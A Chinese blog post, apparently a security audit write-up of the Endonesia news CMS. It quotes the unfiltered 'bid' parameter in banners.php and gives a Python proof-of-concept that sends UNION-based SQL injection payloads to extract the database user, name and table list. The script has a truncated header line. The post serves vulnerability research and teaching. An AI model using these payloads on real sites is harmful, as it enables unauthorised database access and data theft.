最近在某个平台上把17年所有的CVE详细信息都爬下来了,一个文档34M多,放星球上了。也想借此机会做一个漏洞库,长期做下去,欢迎有志同道合,有分享精神的的伙伴一起,资源共享。
一直都想做一个漏洞库,给团队作为工具使用,同时也作为团队学习的工具。
CMS的名称是Endonesia
CMS的作用是一个简单的新闻网站,没有什么框架,审计起来比较简单。
下载的网址是:https://endonesia.sourceforge.io/
复现的环境是:kail+apache2+php7+mysql
安装的方式:直接按照install.txt中的步骤傻瓜式安装,然后配置。
没有使用工具,直接静态分析发现了一个注入点,带回显的注入点。
漏洞的位置在于banners.php
第73行:
function clickbanner() {
include "dbconnect.php";
$bid =$_REQUEST['bid'];
$bresult = mysqli_query($dbconnect,"select clickurl from banner where bid=$bid");
list($clickurl) = mysqli_fetch_row($bresult);
mysqli_query($dbconnect,"update banner set clicks=clicks+1 where bid=$bid");
mysqli_free_result($bresult);
Header("Location: $clickurl");
}
逻辑也比较简单:
请求一个bid
参数,没有经过任何过滤,直接带入查询,然后返回的是一个 $clickurl
,直接变成location参数返回给用户,但是在浏览器上不好测试,因为默认就认识location的值是一个url直接跳转了,可以在burpsuit上测试,然后寻找调用的方式:
$op = isset($_REQUEST['op']) ? $_REQUEST['op'] : "";
switch($op) {
case "click":
clickbanner();
break;
case "clientlogin":
clientlogin();
break;
case "Ok":
bannerstats();
break;
所以攻击的url就是:
http://192.168.43.35/banners.php?op=click&bid=
然后写一个脚本优雅的测试:
import requests
url = 'http://192.168.43.35/banners.php?op=click&bid='
def bool(url):
headers = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':
}
try:
s = requests.Session()
req = requests.get(url,headers = headers,allow_redirects=False)
if req.headers['location']!='':
# print
return req.headers['location']
else:
return False
except Exception ,e:
print Exception
return False
payload = {}
payload['user'] = url+'-1 and 1=1 union select user() from information_schema.tables'
payload['db'] = url+'-1 and 1=1 union select database() from information_schema.tables'
payload['tables'] = url+'-1 and 1=1 union select group_concat(table_name) from information_schema.tables where table_schema = database()'
for k in payload:
print k,':',bool(payload[k])
在这CMS里面,bid注入点还有很多,还有些CSRF,xss,代码注入,不再分析。